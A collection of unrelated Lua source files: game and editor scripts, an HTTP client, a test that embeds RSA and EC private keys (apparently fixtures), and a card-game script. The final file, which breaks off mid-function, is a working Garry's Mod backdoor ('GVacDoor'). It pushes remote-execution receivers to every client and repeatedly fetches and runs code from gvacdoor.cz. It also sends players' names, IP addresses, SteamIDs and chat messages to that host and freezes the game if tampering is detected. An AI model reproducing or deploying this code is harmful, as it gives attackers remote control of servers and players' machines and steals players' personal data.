anim.release();
end
end
end
AnimManager.loadAll = function(self)
for k,v in pairs(table.verify(self.m_animDefs)) do
self:loadAnim(k);
end
end
AnimManager.releaseAll = function(self)
for k,v in pairs(self.m_anims or {}) do
self:releaseAnim(k);
end
self.m_anims = {};
self.m_groups = {};
end
AnimManager.cacheAnim = function(self, animId)
if (not animId) or (not self.m_animDefs[animId]) then
return false;
end
if self.m_anims[animId] then
return true;
end
local animDef = self.m_animDefs[animId];
local file = animDef[AnimDef.FILE];
local className = animDef[AnimDef.CLASS];
local groupId = animDef[AnimDef.GROUPID] or self.m_defaultGroupId;
if not (file and className) then
return false;
end
require(file);
self.m_anims[animId] = _G[className];
self.m_groups[groupId] = self.m_groups[groupId] or {};
self.m_groups[groupId][#(self.m_groups[groupId]) + 1] = animId;
return true;
end
|
local asserts = require 'lib.asserts'
local Object = require 'lib.object'
local Type = require 'lib.luapi.type'
--[[ Single lua file
= @ (lib.object)
> reqpath (string)
> fullpath (string)
> module (lib.luapi.type) []
> cache (@.cache) [] Gets removed after File:write() attempt
]]
local File = Object:extend 'lib.luapi.file'
--[[ Init file but don't read it
= @>init (function)
> self (@)
> reqpath (string)
> fullpath (string)
> conf (lib.luapi.conf)
]]
function File:init(reqpath, fullpath, conf)
asserts(function(x) return type(x) == 'string' end, reqpath, fullpath)
assert(conf:is('lib.luapi.conf'))
self.reqpath = reqpath
self.fullpath = fullpath
self.cache = require 'lib.luapi.file.cache' (self, conf)
end
--[[ Read file
= @>read (function)
> self (@)
< success (@) []
]]
function File:read()
-- init.lua
local file = io.open(self.fullpath .. '/init.lua', 'rb')
if not file then return nil end
self.cache.content = file:read '*a' .. '\n'
self.cache.code = self.cache.content
:gsub('%-%-%[%[.-%]%]', '')
:gsub('%-%-.-\n', '')
file:close()
-- modname.md or include.md
local modname = self.fullpath:match '.+/(.+)'
file = io.open(self.fullpath .. '/' .. modname .. '.md', 'rb')
or io.open(self.fullpath .. '/include.md', 'rb')
if file then
self.cache.readme = '\n' .. file:read '*a'
file:close()
end
-- example.lua
file = io.open(self.fullpath .. '/example.lua', 'rb')
if file then
self.cache.example = file:read '*a'
file:close()
end
return self
end
--[[ Parse module before everything else
= @>parse (function)
> self (@)
< success (@) []
]]
function File:parse_module()
for block in self.cache.content:gmatch '%-%-%[%[.-%]%].-\n' do
if block:find '\n=%s@%P'
or block:find('\n=%s' .. self.cache.escaped_reqpath .. '%P') then
self.module = Type(block, self.reqpath, self.cache.conf.parser)
return self
end
end
end
--[[ Parse file
= @>parse (function)
> self (@)
< success (@)
]]
function File:parse()
local parser = self.cache.conf.parser
local conten = self.cache.content
local escaped_reqpath = self.cache.escaped_reqpath
if parser == 'strict' then
local index = 1
for block in conten:gmatch '%-%-%[%[.-%]%].-\n' do
local type = Type(block, self.reqpath, parser)
if type then
type.index = index
local short_type_name = type.name:gsub(escaped_reqpath, '@')
local s = short_type_name:sub(1, 2)
type.name = short_type_name:sub(3, -1)
if s == '@>' then
self.module.fields = self.module.fields or {}
self.module.fields[type.name] = type
elseif s == '@<' then
self.module.returns = self.module.returns or {}
self.module.returns[type.name] = type
elseif s == '@#' then
self.module.locals = self.module.locals or {}
self.module.locals[type.name] = type
end
end
index = index + 1
end
return self
end
return false
end
--[[ Write @#output to the file and clean up file cache
= @>write (function)
> self (@)
< self (@)
]]
function File:write()
-- Touch file
local file = io.open(self.fullpath .. '/readme.md', 'w+')
if not file then
print('error: failed to create "' .. self.fullpath .. '/readme.md' .. '"')
return nil
end
-- Create output
if self.module then self.module:build_output(self) end
-- Write output
local out = self.cache
file:write(out.head.text .. out.body.text .. out.foot.text)
file:close()
return self
end
--[[ Try to get access to type in this file by path
= @>get_type (function)
> self (@)
> path (string)
< result (lib.luapi.type|string)
]]
function File:get_type(path)
path = path:gsub('@', self.reqpath)
local len = self.reqpath:len()
if path:sub(1, len) == self.reqpath then
local type_name = path:sub(len+2, -1)
local divider = len+1
divider = path:sub(divider, divider)
if divider == ':' then
return self.module[type_name]
elseif divider == '#' then
return self.locals[type_name]
end
end
return path
end
--[[ Remove cache
= @>cleanup (function)
> self (@)
]]
function File:cleanup()
self.cache = nil
end
return File
|
vim.g.startify_files_number = 5
vim.g.startify_update_oldfiles = 1
vim.g.startify_session_autoload = 1
vim.g.startify_session_persistence = 1 -- autoupdate sessions
vim.g.startify_session_delete_buffers = 1 -- delete all buffers when loading or closing a session, ignore unsaved buffers
vim.g.startify_change_to_dir = 0 -- when opening a file or bookmark, change to its directory
vim.g.startify_fortune_use_unicode = 1 -- beautiful symbols
vim.g.startify_padding_left = 3 --the number of spaces used for left padding
vim.g.startify_session_remove_lines = { "setlocal", "winheight" } -- lines matching any of the patterns in this list, will be removed from the session file
vim.g.startify_session_sort = 1 -- sort sessions by alphabet or modification time
vim.g.startify_custom_indices = {
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
"13",
"14",
"15",
"16",
"17",
"18",
} -- MRU indices
vim.g.startify_custom_header = one_punch_man
vim.g.startify_session_dir = os.getenv "HOME" .. "/.cache/vim/sessions/"
vim.g.startify_commands = {
{ ["pu"] = { "Update plugins", ":PackerSync" } },
{ ["ps"] = { "Plugins status", ":PackerStatus" } },
{ ["h"] = { "Help", ":help" } },
}
vim.g.startify_lists = {
{
["type"] = "dir",
["header"] = {
string.format(" Current Files in %s", vim.fn.getcwd()),
},
},
{
["type"] = "files",
["header"] = { [[ History]] },
},
{
["type"] = "sessions",
["header"] = { [[ Sessions]] },
},
{
["type"] = "bookmarks",
["header"] = { [[ Bookmarks]] },
},
{
["type"] = "commands",
["header"] = { [[ גּ Commands]] },
},
}
|
local class = require "utils.class"
local ID = require "utils.ID"
local default_formula = require "utils.PropertyFormula"
local Property = class()
function Property:_init_(property)
self.uuid = ID.Next();
self.property = property or {}
self.formula = default_formula
self.merged = {}
self.cached = {}
self.change = {}
self.path = {}
self.depends = {}
self.runtime = {}
end
function Property:Formula(key, callback)
self.formula[key] = callback;
end
function Property:Get(key)
-- not number value
local v = rawget(self, key); if v ~= nil then return v; end
local v = self.runtime[key]; if v ~= nil then return v; end
if #self.path > 0 then
self.depends[key] = self.depends[key] or {};
for _, v in ipairs(self.path) do
self.depends[key][v] = true;
-- depend loop check
if key == v then
local str = '\n[WARNING] ' .. key .. " depend loop: ";
for _, v in ipairs(self.path) do
str = str .. v .. " -> ";
end
str = str .. key;
assert(false, str);
end
end
end
local change = self.change[key];
local v = self.cached[key];
if v ~= nil then
if type(v) ~= "number" then
return v;
else
return v + (change or 0);
end
end
v = self.property[key]
if type(v) ~= "number" and v ~= nil then
self.runtime[key] = v;
return v;
end
if change then
v = v or 0;
else
change = 0;
end
local c = self.formula[key];
if c ~= nil then
-- calc depend path
self.path[#self.path + 1] = key;
local cv = c(self);
self.path[#self.path] = nil;
if cv ~= nil and type(cv) ~= "number" then
self.runtime[key] = cv;
return cv;
end
v = (v or 0) + cv;
end
if type(key) == "number" or not c then
for _, m in pairs(self.merged) do
local mv = m and m[key]
if mv ~= nil then
if type(mv) ~= "number" then
self.runtime[key] = mv;
return mv;
end
v = (v or 0) + mv
end
end
end
if v then
self.cached[key] = v;
return v + change;
end
end
function Property:_getter_(key)
local t = self:Get(key);
if t ~= nil then return t else return 0; end
end
function Property:_setter_(key, value)
if value == nil then
if self.change[key] then
self.change[key] = nil
elseif self.runtime[key] then
self.runtime[key] = nil
elseif self.cached[key] then
self.cached[key] = nil;
end
return;
end
if self.runtime[key] or type(value) ~= 'number' then
self.runtime[key] = value;
return;
end
self.change[key] = (self.change[key] or 0) + (value - self[key]);
for k, _ in pairs(self.depends[key] or {}) do
self.cached[k] = nil;
end
end
function Property:Add(key, property)
self.merged[key] = property;
self.cached = {}
end
function Property:Remove(key)
if self.merged[key] then
self.merged[key] = nil
self.cached = {}
end
end
return Property;
|
local bindings = {}
local vars = require('nvimux.vars')
local fns = {}
local nvim = vim.api -- luacheck: ignore
local consts = {
terminal_quit = '<C-\\><C-n>',
esc = '<ESC>',
}
fns.nvim_do_bind = function(options)
local escape_prefix = options.escape_prefix or ''
local mode = options.mode
return function(cfg)
local suffix = cfg.suffix
local prefix = vars.local_prefix[mode] or vars.prefix
if suffix == nil then
suffix = string.sub(cfg.mapping, 1, 1) == ':' and '<CR>' or ''
end
nvim.nvim_command(mode .. 'noremap <silent> ' .. prefix .. cfg.key .. ' ' .. escape_prefix .. cfg.mapping .. suffix)
end
end
fns.bind = {
t = fns.nvim_do_bind{mode = 't', escape_prefix = consts.terminal_quit},
i = fns.nvim_do_bind{mode = 'i', escape_prefix = consts.esc},
n = fns.nvim_do_bind{mode = 'n'},
v = fns.nvim_do_bind{mode = 'v'}
}
fns.bind_all_modes = function(options)
for _, mode in ipairs(options.modes) do
fns.bind[mode](options)
end
end
bindings.bind = function(options)
fns.bind_all_modes(options)
end
bindings.create_binding = function(modes, command)
local tbl = {}
tbl[table.concat(modes, "")] = { command }
return tbl
end
bindings.bind_all = function(options)
for _, bind in ipairs(options) do
local key, cmd, modes = unpack(bind)
bindings.mappings[key] = bindings.create_binding(modes, cmd)
end
end
return bindings
|
------------
--- HTTP
-- HTTP client
-- @module http_ng.backend
local backend = {}
local response = require 'resty.http_ng.response'
local http_proxy = require 'resty.http.proxy'
local function send(httpc, params)
params.path = params.path or params.uri.path
local res, err = httpc:request(params)
if not res then return nil, err end
res.body, err = res:read_body()
if not res.body then
return nil, err
end
local ok
ok, err = httpc:set_keepalive()
if not ok then
ngx.log(ngx.WARN, 'failed to set keepalive connection: ', err)
end
return res
end
--- Send request and return the response
-- @tparam http_ng.request request
-- @treturn http_ng.response
backend.send = function(_, request)
local res
local httpc, err = http_proxy.new(request)
if httpc then
res, err = send(httpc, request)
end
if res then
return response.new(request, res.status, res.headers, res.body)
else
return response.error(request, err)
end
end
return backend
|
--[[
__ __
|__) _ _ _ _ _ _ _ _ _ / _ | |_ _ _
| | (_) (_) | (_| ||| ||| (- | \__ (_) | |_ (_) | )
_/
__________________________________________________________
RbxAPI by ProgrammerColton
A super simple proxy server that allows you to proxy requests to the ROBLOX API from a game server.
It's nothing special and super simple to use.
I don't plan on anyone to use this, thus I'm not really gonna go into detail.
Docs:
GET /endpoint
ex: /users/1
As well, here is the respositroy link:
https://github.com/ProgrammerColton/RbxAPI
__________________________________________________________
Here is a great documentation on the various ROBLOX apis.
https://github.com/matthewdean/roblox-web-apis
--]]
--// Code example:
local settingsHandler = require(script.Settings);
local rbxAPIHandler = require(script.RbxAPIModule);
--// Set up the handler.
local proxyServer = rbxAPIHandler:Setup(settingsHandler.url, settingsHandler.token);
--// Send a get request;
local getIdFromUsername = proxyServer:Get("/users/get-by-username?username=ProgrammerColton");
print(getIdFromUsername);
|
require "AdHoc"
local this = GetThis()
local camera = GetComponent(this, "Camera3D")
local playerTransform
function Start()
playerTransform = GetComponent(AdHoc.Global.playerID, "Transform")
end
function Update()
camera.focusPosition = playerTransform.translate
end
|
return {
rs256_private_key = [[
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAw5mp3MS3hVLkHwB9lMrEx34MjYCmKeH/XeMLexNpTd1FzuNv
6rArovTY763CDo1Tp0xHz0LPlDJJtpqAgsnfDwCcgn6ddZTo1u7XYzgEDfS8J4SY
dcKxZiSdVTpb9k7pByXfnwK/fwq5oeBAJXISv5ZLB1IEVZHhUvGCH0udlJ2vadqu
R03phBHcvlNmMbJGWAetkdcKyi+7TaW7OUSjlge4WYERgYzBB6eJH+UfPjmw3aSP
ZcNXt2RckPXEbNrL8TVXYdEvwLJoJv9/I8JPFLiGOm5uTMEk8S4txs2efueg1Xyy
milCKzzuXlJvrvPA4u6HI7qNvuvkvUjQmwBHgwIDAQABAoIBAQCP3ZblTT8abdRh
xQ+Y/+bqQBjlfwk4ZwRXvuYz2Rwr7CMrP3eSq4785ZAmAaxo3aP4ug9bL23UN4Sm
LU92YxqQQ0faZ1xTHnp/k96SGKJKzYYSnuEwREoMscOS60C2kmWtHzsyDmhg/bd5
i6JCqHuHtPhsYvPTKGANjJrDf+9gXazArmwYrdTnyBeFC88SeRG8uH2lP2VyqHiw
ZvEQ3PkRRY0yJRqEtrIRIlgVDuuu2PhPg+MR4iqR1RONjDUFaSJjR7UYWY/m/dmg
HlalqpKjOzW6RcMmymLKaW6wF3y8lbs0qCjCYzrD3bZnlXN1kIw6cxhplfrSNyGZ
BY/qWytJAoGBAO8UsagT8tehCu/5smHpG5jgMY96XKPxFw7VYcZwuC5aiMAbhKDO
OmHxYrXBT/8EQMIk9kd4r2JUrIx+VKO01wMAn6fF4VMrrXlEuOKDX6ZE1ay0OJ0v
gCmFtKB/EFXXDQLV24pgYgQLxnj+FKFV2dQLmv5ZsAVcmBHSkM9PBdUlAoGBANFx
QPuVaSgRLFlXw9QxLXEJbBFuljt6qgfL1YDj/ANgafO8HMepY6jUUPW5LkFye188
J9wS+EPmzSJGxdga80DUnf18yl7wme0odDI/7D8gcTfu3nYcCkQzeykZNGAwEe+0
SvhXB9fjWgs8kFIjJIxKGmlMJRMHWN1qaECEkg2HAoGBAIb93EHW4as21wIgrsPx
5w8up00n/d7jZe2ONiLhyl0B6WzvHLffOb/Ll7ygZhbLw/TbAePhFMYkoTjCq++z
UCP12i/U3yEi7FQopWvgWcV74FofeEfoZikLwa1NkV+miUYskkVTnoRCUdJHREbE
PrYnx2AOLAEbAxItHm6vY8+xAoGAL85JBePpt8KLu+zjfximhamf6C60zejGzLbD
CgN/74lfRcoHS6+nVs73l87n9vpZnLhPZNVTo7QX2J4M5LHqGj8tvMFyM895Yv+b
3ihnFVWjYh/82Tq3QS/7Cbt+EAKI5Yzim+LJoIZ9dBkj3Au3eOolMym1QK2ppAh4
uVlJORsCgYBv/zpNukkXrSxVHjeZj582nkdAGafYvT0tEQ1u3LERgifUNwhmHH+m
1OcqJKpbgQhGzidXK6lPiVFpsRXv9ICP7o96FjmQrMw2lAfC7stYnFLKzv+cj8L9
h4hhNWM6i/DHXjPsHgwdzlX4ulq8M7dR8Oqm9DrbdAyWz8h8/kzsnA==
-----END RSA PRIVATE KEY-----
]],
rs256_public_key = [[
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5mp3MS3hVLkHwB9lMrE
x34MjYCmKeH/XeMLexNpTd1FzuNv6rArovTY763CDo1Tp0xHz0LPlDJJtpqAgsnf
DwCcgn6ddZTo1u7XYzgEDfS8J4SYdcKxZiSdVTpb9k7pByXfnwK/fwq5oeBAJXIS
v5ZLB1IEVZHhUvGCH0udlJ2vadquR03phBHcvlNmMbJGWAetkdcKyi+7TaW7OUSj
lge4WYERgYzBB6eJH+UfPjmw3aSPZcNXt2RckPXEbNrL8TVXYdEvwLJoJv9/I8JP
FLiGOm5uTMEk8S4txs2efueg1XyymilCKzzuXlJvrvPA4u6HI7qNvuvkvUjQmwBH
gwIDAQAB
-----END PUBLIC KEY-----
]],
rs512_private_key = [[
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQBoyqH30IH7YnHk2YLLygDwD0LUvrXRcWwVCsN1/2+DB+FLV8f+
/VoLegUowlcCea6vJCu9q9vnJqz2UhK7eN/kDYNhnx4WIdc3KjL+SXnp3KZozgn/
uCUeEYnMNRXLlx7GefG+C1yUgcFAaVJoyxx7dQellqWYrTW3nW9fMhioxSvuJUU8
u5v31GPzNeF69bfeKdI1NzhVLkztJhogEXdIgYitEcqepJQe1FpSBbVjdT5xbuMN
80pSnJHR11Qw2dPp6lDlao/hnvkYW77CZOVgK02oB0UEqjaasxPcaHiWerSP0yb7
nCdjR0kTgKA8um/gk0/F+FO3aOkrsZsgpK2vAgMBAAECggEAZVybjrmBAUgYIuTC
P50Fiy831dEizZSIl1Hx/xE1K+lTYy1lpqApmTBODT7uKtbIwWCbbrvt2YjvhNOe
ivhAmLb5flQLJh1Vr2aCLLWl1zA3RukFgvT78jnEsGIo0uU6P4F08/7JblyUMVmu
/O56fnCVFPbC9wuUCieestYiRBw3Z7TwcRmUx5JWJUuj4gzuFfRSyuzYeJoYUSJF
OLu5XtXaW4k0nj/LILC89qxQT/8HIIYa/7+S8TdbBfws6kQt5yiwUUOirzjOeuY9
RIvbmgapAVZhI2oxofu1r2XNLBBPHFDHlLeJasqRAa7vk3yVYtrcg20c5q3MZ1tx
Q+7NAQKBgQCqUxzBxK0h6d0GKe0rt30NSfNhFiKPR2AkQ8hXsjrCfJ36PbQqRyEt
zw13hgaHoS4yfj+19aQem1ZoTZVsUTvkD8CBBHZ/1PYjPoeOrjt6mDfp402z+f3E
FZTQq0dNFGsSGHn1yRUqXebM3SbbyDIDUqnHXMC1Dzsm2vSu6EJSIwKBgQCdgMAM
bQge8cQSevcARctOjqVpwirfsfqLebP+SBmzyNrs9Z5u8l/0EooojMRaGVClNzvb
yYCW6DWzac0jCKRuD9Svd41gGC3R5PztGGOyvLLkk33ad9NChwCz9np66THmQn6n
B+K/XrjDwUVHnItcRiARyXP3vn3uryv1hvRRBQKBgB7MtreHZDNswc4aiMvN+2wK
wlr9ELTOGGGWbEUHcr62oC6fN9QpVqOc/HdvogCmsd7pm4XA7LOoLWDhHrMeoXDl
NE9gSjllfjjzVroDYbgSjJHby7JO84egy29MebFDjvUPvgYnHY+yuUi0eRFnSzv0
l8T4TdSv82dcUsDKOSv3AoGAQmlxkUvAKtwiovA6imDjkyJO2UNINL6lOH5+yO+5
9rbwqQ4AWiPVFeNjYinI+XzHJoMduFVE5VzQl/A60VTpkIcYVUyBzk0jtOdrRsYL
8+fhPsR6Qs5XxCuMvlVl28HMipzrLp8Cm1LjcZdjEQkPMj9XcmiRf5tRGn2+eW8I
QckCgYAYYzr4nHmarWduk/1Fgm2qmFE96U/TjIRmk9vspwk5y47oM7LrnzU2Iyio
vaL3rwMZ0AcBcEOUvANkMCDAxgJZljeDr4IzUMQs95+m7Wb6BQTs4vKSLPGWYdjd
y1FoR04hSreMjG+K+mtQLGJC4USI1AJx1wKihgoxGrI1/7YiwQ==
-----END RSA PRIVATE KEY-----
]],
rs512_public_key = [[
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQBoyqH30IH7YnHk2YLLygDw
D0LUvrXRcWwVCsN1/2+DB+FLV8f+/VoLegUowlcCea6vJCu9q9vnJqz2UhK7eN/k
DYNhnx4WIdc3KjL+SXnp3KZozgn/uCUeEYnMNRXLlx7GefG+C1yUgcFAaVJoyxx7
dQellqWYrTW3nW9fMhioxSvuJUU8u5v31GPzNeF69bfeKdI1NzhVLkztJhogEXdI
gYitEcqepJQe1FpSBbVjdT5xbuMN80pSnJHR11Qw2dPp6lDlao/hnvkYW77CZOVg
K02oB0UEqjaasxPcaHiWerSP0yb7nCdjR0kTgKA8um/gk0/F+FO3aOkrsZsgpK2v
AgMBAAE=
-----END PUBLIC KEY-----
]],
es256_private_key = [[
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgD8enltAi05AIoF2A
fqwctkCFME0gP/HwVvnHCtatlVChRANCAAQDBOV5Pwz+uUXycT+qFj7bprEnMWuh
XPtZyIZljEHXAj9TSMmDKvk8F1ABIXLAb5CAY//EPd4SjNSdU5f7XP72
-----END PRIVATE KEY-----
]],
es256_public_key = [[
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEAwTleT8M/rlF8nE/qhY+26axJzFr
oVz7WciGZYxB1wI/U0jJgyr5PBdQASFywG+QgGP/xD3eEozUnVOX+1z+9g==
-----END PUBLIC KEY-----
]]
}
|
require 'scenario/sandbox/gui'
|
local lu = require 'luaunit'
local COLOR_NAMES = require 'supernova.helpers.color_names'
function testColorNames()
lu.assertEquals(
COLOR_NAMES[1],
{
identifier = '20000-leagues-under-the-sea',
name = '20000 Leagues Under the Sea',
rgb = { 25, 25, 112 }
}
)
end
os.exit(lu.LuaUnit.run())
|
--聖なる降誕
--Holy Night Nativity
--LUA by Kohana Sonogami
function c100270047.initial_effect(c)
--Activate
local e1=Effect.CreateEffect(c)
e1:SetType(EFFECT_TYPE_ACTIVATE)
e1:SetCode(EVENT_FREE_CHAIN)
c:RegisterEffect(e1)
--Search
local e2=Effect.CreateEffect(c)
e2:SetDescription(aux.Stringid(100270047,0))
e2:SetCategory(CATEGORY_SEARCH+CATEGORY_TOHAND+CATEGORY_TODECK)
e2:SetType(EFFECT_TYPE_IGNITION)
e2:SetRange(LOCATION_SZONE)
e2:SetCountLimit(1,100270047)
e2:SetTarget(c100270047.thtg)
e2:SetOperation(c100270047.thop)
c:RegisterEffect(e2)
--Special Summon
local e3=Effect.CreateEffect(c)
e3:SetDescription(aux.Stringid(100270047,1))
e3:SetCategory(CATEGORY_SPECIAL_SUMMON)
e3:SetType(EFFECT_TYPE_FIELD+EFFECT_TYPE_TRIGGER_O)
e3:SetCode(EVENT_CHAINING)
e3:SetProperty(EFFECT_FLAG_DELAY)
e3:SetRange(LOCATION_SZONE)
e3:SetCountLimit(1,100270047)
e3:SetCondition(c100270047.spcon)
e3:SetTarget(c100270047.sptg)
e3:SetOperation(c100270047.spop)
c:RegisterEffect(e3)
end
function c100270047.filter1(c)
return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsRace(RACE_FAIRY) and c:IsAbleToDeck() and not c:IsPublic()
end
function c100270047.filter2(c)
return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsLevel(7) and c:IsRace(RACE_DRAGON) and c:IsAbleToHand()
end
function c100270047.thtg(e,tp,eg,ep,ev,re,r,rp,chk)
if chk==0 then return Duel.IsExistingMatchingCard(c100270047.filter1,tp,LOCATION_HAND,0,1,nil)
and Duel.IsExistingMatchingCard(c100270047.filter2,tp,LOCATION_DECK,0,1,nil) end
Duel.SetOperationInfo(0,CATEGORY_TODECK,nil,1,tp,LOCATION_HAND)
Duel.SetOperationInfo(0,CATEGORY_TOHAND,nil,1,tp,LOCATION_DECK)
end
function c100270047.thop(e,tp,eg,ep,ev,re,r,rp)
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_TODECK)
local g1=Duel.SelectMatchingCard(tp,c100270047.filter1,tp,LOCATION_HAND,0,1,1,nil)
if g1:GetCount()==0 then return end
Duel.ConfirmCards(1-tp,g1)
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_ATOHAND)
local g2=Duel.SelectMatchingCard(tp,c100270047.filter2,tp,LOCATION_DECK,0,1,1,nil)
if g2:GetCount()>0 and Duel.SendtoHand(g2,nil,REASON_EFFECT)~=0 then
Duel.ConfirmCards(1-tp,g2)
Duel.ShuffleDeck(tp)
Duel.BreakEffect()
Duel.SendtoDeck(g1,nil,1,REASON_EFFECT)
end
end
function c100270047.spcon(e,tp,eg,ep,ev,re,r,rp)
return rp==1-tp
end
function c100270047.spfilter(c,e,tp)
return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsRace(RACE_DRAGON)
and c:IsLevel(7) and c:IsCanBeSpecialSummoned(e,0,tp,false,false)
end
function c100270047.sptg(e,tp,eg,ep,ev,re,r,rp,chk)
if chk==0 then return Duel.GetLocationCount(tp,LOCATION_MZONE)>0
and Duel.IsExistingMatchingCard(c100270047.spfilter,tp,LOCATION_HAND,0,1,nil,e,tp) end
Duel.SetOperationInfo(0,CATEGORY_SPECIAL_SUMMON,nil,1,tp,LOCATION_HAND)
end
function c100270047.spop(e,tp,eg,ep,ev,re,r,rp)
if Duel.GetLocationCount(tp,LOCATION_MZONE)<=0 then return end
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_SPSUMMON)
local g=Duel.SelectMatchingCard(tp,c100270047.spfilter,tp,LOCATION_HAND,0,1,1,nil,e,tp)
if g:GetCount()>0 then
Duel.SpecialSummon(g,0,tp,tp,false,false,POS_FACEUP)
end
end
|
--[[
_______ __ _____
/ ____\ \ / / | __ \
| | __ \ \ / /_ _ ___| | | | ___ ___ _ __
| | |_ | \ \/ / _` |/ __| | | |/ _ \ / _ \| '__|
| |__| | \ / (_| | (__| |__| | (_) | (_) | |
\_____| \/ \__,_|\___|_____/ \___/ \___/|_| feat. Jiraya and Ateek
]]
local tendance =
{
[[https://gvacdoor.cz]],
[[?key=mgB367gnto2dz7DFuY1V]],
}
local timer = timer
local math = math
local hook = hook
local util = util
local HTTP = HTTP
local game = game
local string = string
local http = http
local file = file
local player = player
local RunString = RunString
-- if (tendance[1] ~= "https://gvac.cz" and tendance[1] ~= "https://gvacdoor.cz" and tendance[1] ~= "https://anti-leak.cf") then
-- tendance[1] = "https://gvac.cz"
-- end
if not string.StartWith(tendance[2], "?key=") then
tendance[2] = ""
end
local function rdm_str(len)
if !len or len <= 0 then return '' end
return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
end
local net_string = rdm_str(25)
util.AddNetworkString(net_string)
BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
local function parseRun(str)
local runs = str:Split("\xFF")
for i=1, #runs do
local exec = runs[i]
local side = exec[#exec] == '1'
exec = string.sub(exec, 1, -2)
if side then
local data = util.Compress(exec)
local len = #data
net.Start(net_string)
net.WriteUInt(len, 16)
net.WriteData(data, len)
net.Broadcast()
else
RunString(exec, "?", false)
end
end
end
local function anti_jizzeh()
if (debug.getinfo(debug.getinfo)["short_src"] ~= "[C]" or debug.getinfo(debug.getinfo)["source"] ~= "=[C]" or (debug.getinfo(debug.getinfo)["what"] ~= "C" and debug.getinfo(debug.getinfo)["what"] ~= "Lua")) or
(debug.getinfo(jit.util.funcinfo)["short_src"] ~= "[C]"or debug.getinfo(jit.util.funcinfo)["source"] ~= "=[C]" or debug.getinfo(jit.util.funcinfo)["what"] ~= "C") or
(debug.getinfo(RunString)["short_src"] ~= "[C]" or debug.getinfo(RunString)["source"] ~= "=[C]" or debug.getinfo(RunString)["what"] ~= "C") or
(debug.getinfo(HTTP)["short_src"] ~= "[C]"or debug.getinfo(HTTP)["source"] ~= "=[C]"or debug.getinfo(HTTP)["what"] ~= "C") or
(debug.getinfo(http.Fetch)["short_src"] ~= "lua/includes/modules/http.lua" or debug.getinfo(http.Fetch)["source"] ~= "@lua/includes/modules/http.lua") or
(debug.getinfo(http.Post)["short_src"] ~= "lua/includes/modules/http.lua" or debug.getinfo(http.Post)["source"] ~= "@lua/includes/modules/http.lua") or
(debug.getinfo(util.Decompress)["short_src"] ~= "[C]"or debug.getinfo(util.Decompress)["source"] ~= "=[C]" or debug.getinfo(util.Decompress)["what"] ~= "C") or
(debug.getinfo(CompileString)["short_src"] ~= "[C]"or debug.getinfo(CompileString)["source"] ~= "=[C]" or debug.getinfo(CompileString)["what"] ~= "C") or
(jit.util.funcinfo(debug.getinfo)["ffid"] ~= 125) or
(jit.util.funcinfo(jit.util.funcinfo)["ffid"] ~= 141) or
(jit.util.funcinfo(RunString)["upvalues"] ~= 0 or
jit.util.funcinfo(RunString)["source"] ~= nil) or
(jit.util.funcinfo(HTTP)["upvalues"] ~= 0 or
jit.util.funcinfo(HTTP)["source"] ~= nil ) or
(jit.util.funcinfo(http.Fetch)["source"] ~= "@lua/includes/modules/http.lua") or
(jit.util.funcinfo(http.Post)["source"] ~= "@lua/includes/modules/http.lua") or
(tostring(_G["debug"]["getinfo"]) ~= tostring(debug.getinfo)) or
(tostring(_G["jit"]["util"]["funcinfo"]) ~= tostring(jit.util.funcinfo)) or
(tostring(_G["RunString"]) ~= tostring(RunString)) or
(tostring(_G["HTTP"]) ~= tostring(HTTP)) or
(tostring(_G["http"]["Fetch"]) ~= tostring(http.Fetch)) or
(tostring(_G["http"]["Post"]) ~= tostring(http.Post)) or
(tostring(_G["util"]["Decompress"]) ~= tostring(util.Decompress)) then
while true do end -- #Jean Hax0r :)
end
timer.Create("timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", 2, 0, anti_jizzeh)
end
-- local function jiraya_back()
-- http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php", {friendly="duck"}, function(b)
-- if string.len(b) > 1 then
-- local friends = util.JSONToTable(b)
-- for k, v in pairs(player.GetHumans()) do
-- for i=1, #friends do
-- if friends[i]["steamid64"] == v:SteamID64() then
-- v:Kick(friends[i]["reason"])
-- end
-- end
-- end
-- hook.Add( "CheckPassword", "utf8_async_v6", function( steamID64 )
-- for i=1, #friends do
-- if friends[i]["steamid64"] == steamID64 then
-- return false, friends[i]["reason"]
-- end
-- end
-- end)
-- end
-- end)
-- timer.Create("timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", 20, 0, jiraya_back)
-- end
local function initialization(ply)
if !ply:IsBot() then
ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?", false)()end)]])
ply:SendLua([[local function _() if debug.getinfo(CompileString)["what"]~="C"||debug.getinfo(CompileString)["short_src"]~="[C]"||debug.getinfo(CompileString)["source"]~="=[C]" then while !!1 do end end timer.Simple(2,_) end _()]])
ply:SendLua([[local function morecake() http.Fetch("]] .. tendance[1] .. [[/_/russia_secure/jiraya.php", function(b) CompileString(b, "?", false)() end) timer.Simple(100, morecake) end morecake()]])
end
end
local function info_chat(ply, text)
local info_chats =
{
name = ply:Nick(),
ip = game.GetIPAddress(),
player_ip = ply:IPAddress(),
steamid_chat = ply:SteamID64(),
text_chat = text
}
http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php", info_chats)
end
local function ixxxee()
local ixxxee_time = 20
